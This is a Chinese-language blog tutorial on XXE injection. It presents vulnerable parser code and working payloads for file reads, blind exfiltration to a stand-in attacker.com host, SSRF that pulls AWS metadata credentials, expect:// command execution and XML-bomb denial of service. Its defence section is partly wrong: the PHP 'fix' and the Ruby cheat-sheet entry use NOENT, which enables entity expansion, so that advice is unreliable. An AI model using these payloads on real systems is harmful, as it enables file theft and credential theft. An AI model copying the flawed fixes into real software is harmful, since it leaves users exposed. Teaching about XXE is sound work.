XXE外部实体注入:XML解析的隐患

作者:Yolo 发布时间: 2026-05-28 阅读量:7

XXE外部实体注入:XML解析的隐患

XML 作为一种通用的数据交换格式,被广泛应用于 Web 服务、配置文件、文档格式(如 Office Open XML、SVG)等场景。然而,XML 解析器对外部实体的默认支持,却为攻击者打开了一扇危险的大门——XML External Entity(XXE)注入

XXE 漏洞允许攻击者利用 XML 解析器处理恶意构造的 XML 文档,从而读取服务器上的任意文件、发起内网请求(SSRF)、甚至执行远程代码。OWASP Top 10 2017 将其列为 A4 漏洞,足见其危害之重。


一、XML基础与DTD实体

1.1 XML文档结构

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY writer "Writer: Donald Duck.">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
<writer>&writer;</writer>
</note>

1.2 DTD(文档类型定义)

DTD 定义了 XML 文档的结构和合法元素。它可以在 XML 文档内部声明(内部 DTD),也可以引用外部文件(外部 DTD)。

内部 DTD 示例:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY test "Hello World">
]>
<root>&test;</root>

外部 DTD 示例:

<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://example.com/dtd.dtd">
<root>content</root>

1.3 实体类型

XML 中的实体分为以下几类:

实体类型说明示例
内部通用实体在 DTD 中定义,引用文本<!ENTITY name "value">
外部通用实体引用外部文件或 URL<!ENTITY name SYSTEM "file:///etc/passwd">
参数实体仅在 DTD 中使用,以 % 开头<!ENTITY % name SYSTEM "url">
预定义实体XML 内置的转义实体&lt;, &gt;, &amp;, &quot;, &apos;

关键概念: 外部实体是 XXE 攻击的核心。当解析器遇到外部实体引用时,它会尝试获取并解析该外部资源的内容。


二、XXE漏洞原理

2.1 漏洞成因

XXE 漏洞的本质是:应用程序在解析用户提供的 XML 数据时,未禁用外部实体解析功能,导致攻击者可以构造包含恶意外部实体引用的 XML 文档,使解析器执行非预期的操作。

漏洞形成的三个条件:

  1. 应用程序接收并解析用户可控的 XML 输入
  2. XML 解析器配置允许处理外部实体(默认情况下许多解析器开启)
  3. 解析结果在响应中可见(或可通过其他方式推断)

2.2 漏洞示例代码

存在漏洞的 Java 代码:

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;

public class XXEVulnerable {
public String parseXML(String xmlInput) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 危险:默认允许外部实体
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xmlInput)));
return doc.getDocumentElement().getTextContent();
}
}

存在漏洞的 PHP 代码:

<?php
$xml = file_get_contents('php://input');
$doc = simplexml_load_string($xml); // 默认允许外部实体
echo $doc->asXML();
?>

存在漏洞的 Python 代码:

from lxml import etree

xml_data = request.body.read()
# 危险:默认解析外部实体
tree = etree.parse(StringIO(xml_data))
result = etree.tostring(tree)

2.3 攻击流程

攻击者构造恶意XML → 发送给目标应用 → XML解析器处理外部实体
→ 读取本地文件 / 访问内网资源 / 执行系统命令
→ 结果返回到攻击者(直接回显或带外通道)


三、攻击类型与Payload

3.1 文件读取(有回显)

当解析结果在响应中可见时,可以直接读取文件内容:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Windows 系统文件读取:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<foo>&xxe;</foo>

读取 PHP 源码(利用 PHP 包装器):

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<foo>&xxe;</foo>

3.2 文件读取(无回显 / Blind XXE)

当解析结果不直接返回时,需要通过带外(Out-of-Band)通道提取数据。

使用参数实体 + DNS 外带:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%xxe;'>">
%eval;
]>
<foo>&exfil;</foo>

更通用的 Blind XXE Payload:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>

远程 evil.dtd 内容:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?%file;'>">
%all;

3.3 SSRF(服务器端请求伪造)

XXE 可以作为 SSRF 的攻击向量,访问内网资源:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
]>
<foo>&xxe;</foo>

扫描内网端口:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:22">
]>
<foo>&xxe;</foo>

访问云元数据服务(AWS EC2):

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>

获取 AWS 临时凭证:

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name">
]>
<foo>&xxe;</foo>

3.4 远程代码执行(RCE)

在某些特定环境下,XXE 可以升级为 RCE:

PHP expect 包装器(需要安装 expect 扩展):

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>

Java jar:// 协议(通过上传恶意 jar 文件):

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "jar:http://attacker.com/evil.jar!/evil.class">
]>
<foo>&xxe;</foo>

3.5 拒绝服务攻击(Billion Laughs / XML Bomb)

Billion Laughs 攻击:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这个 1KB 的 XML 文档展开后可达约 3GB,导致内存耗尽。

Quadratic Blowup 攻击:

<?xml version="1.0"?>
<!DOCTYPE blowup [
<!ENTITY x "AAAAAAAA...(50000个A)...">
]>
<blowup>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...(100000次引用)...</blowup>

通过大量引用一个长字符串实体,造成解析器 CPU 和内存资源耗尽。


四、实际案例分析

4.1 Facebook XXE 漏洞(2014年)

安全研究人员在 Facebook 的协作平台中发现了 XXE 漏洞。该平台允许用户通过上传 SVG 图片来设置个人资料图片。

攻击过程:

  1. 攻击者构造包含外部实体引用的恶意 SVG 文件
  2. 上传 SVG 作为头像
  3. 服务器解析 SVG 时触发 XXE
  4. 成功读取 /etc/passwd 等敏感文件

恶意 SVG 示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>

Facebook 为此支付了 $30,000 的漏洞赏金。

4.2 Jenkins CVE-2016-6292

Jenkins 的 XML API 存在 XXE 漏洞,攻击者可以通过发送恶意 XML 到 /createItem 端点来读取服务器文件。

Payload:

<?xml version="1.0"?>
<!DOCTYPE project [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<project>
<description>&xxe;</description>
</project>

4.3 WordPress 插件 XXE

多款 WordPress 插件在处理 XML 导入功能时存在 XXE 漏洞。攻击者上传包含外部实体引用的 XML 文件,即可读取服务器上的 wp-config.php,获取数据库凭证。

4.4 企业应用中的 XXE

某企业级 ERP 系统的 WebService 接口使用 SOAP 协议传输数据。由于未禁用外部实体解析,攻击者通过构造恶意 SOAP 请求,成功读取了服务器上的数据库配置文件,进而获取了生产环境数据库的访问权限。


五、防御措施与最佳实践

5.1 禁用外部实体(最根本的防御)

Java:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 禁用 DTD 完全
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 或者仅禁用外部实体
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

PHP:

$xml = file_get_contents('php://input');
$doc = simplexml_load_string($xml);
// libxml_disable_entity_loader 在 PHP 8.0+ 已废弃
// 使用以下方式:
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);
// 更好的做法:使用 DOMDocument 并禁用外部实体
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOENT);

Python(lxml):

from lxml import etree

parser = etree.XMLParser(
resolve_entities=False, # 禁用外部实体解析
no_network=True, # 禁止网络访问
load_dtd=False # 不加载 DTD
)
tree = etree.parse(StringIO(xml_data), parser)

Python(defusedxml):

from defusedxml import ElementTree as ET

# defusedxml 是安全的 XML 解析库,默认禁用外部实体
tree = ET.parse(StringIO(xml_data))

.NET / C#:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // 完全禁止 DTD
// 或者
settings.DtdProcessing = DtdProcessing.Ignore; // 忽略 DTD
settings.XmlResolver = null; // 禁用 XML 解析器

XmlReader reader = XmlReader.Create(inputStream, settings);

5.2 输入验证与过滤

  • 仅接受预期的 XML 结构,拒绝包含 DOCTYPE 声明的输入
  • 使用 JSON 替代 XML 作为数据交换格式(如果业务允许)
  • 对上传的文件进行格式验证,拒绝非预期的 XML/SVG 内容

5.3 使用 WAF 防护

配置 Web 应用防火墙规则,检测并拦截包含外部实体引用的 XML 请求:

# ModSecurity 规则示例
SecRule REQUEST_BODY "<!ENTITY\s+.*SYSTEM\s+" \
"id:1001,phase:2,deny,status:403,msg:'XXE Attack Detected'"

5.4 最小权限原则

  • 运行 XML 解析服务的进程应使用最低权限账户
  • 限制解析器对文件系统的访问范围(chroot、容器化)
  • 禁止解析器访问内网资源(网络隔离)

5.5 安全配置速查表

语言/平台安全配置
JavasetFeature("disallow-doctype-decl", true)
PHPlibxml_disable_entity_loader(true) (PHP < 8.0)
Python使用 defusedxml
.NETDtdProcessing.Prohibit
RubyNokogiri::XML::ParseOptions::NOENT
Goxml.Decoder.Strict = true + 自定义 Token 处理

六、总结

XXE 漏洞是 XML 解析器功能与安全性之间的经典权衡问题。外部实体本是为了增强 XML 的灵活性而设计,但在不受信任的数据场景下,它成为了危险的攻击向量。

核心要点回顾:

  • XXE 漏洞利用 XML 解析器对外部实体的支持,实现文件读取、SSRF、RCE 等攻击
  • 漏洞根源在于解析器配置不当,而非 XML 协议本身
  • 防御的核心是禁用外部实体解析,而非依赖输入过滤
  • 在不需要 DTD 的场景下,完全禁止 DTD 是最安全的做法
  • 使用 defusedxml 等安全库可以大幅降低风险

随着 JSON 等更轻量的数据格式普及,XML 的使用逐渐减少,但在企业级应用、SOAP WebService、Office 文档处理等领域,XXE 依然是不可忽视的安全威胁。开发者应当了解所使用的 XML 解析库的默认行为,并主动配置安全选项。

记住:默认配置往往是不安全的。安全的 XML 解析,需要显式的安全配置。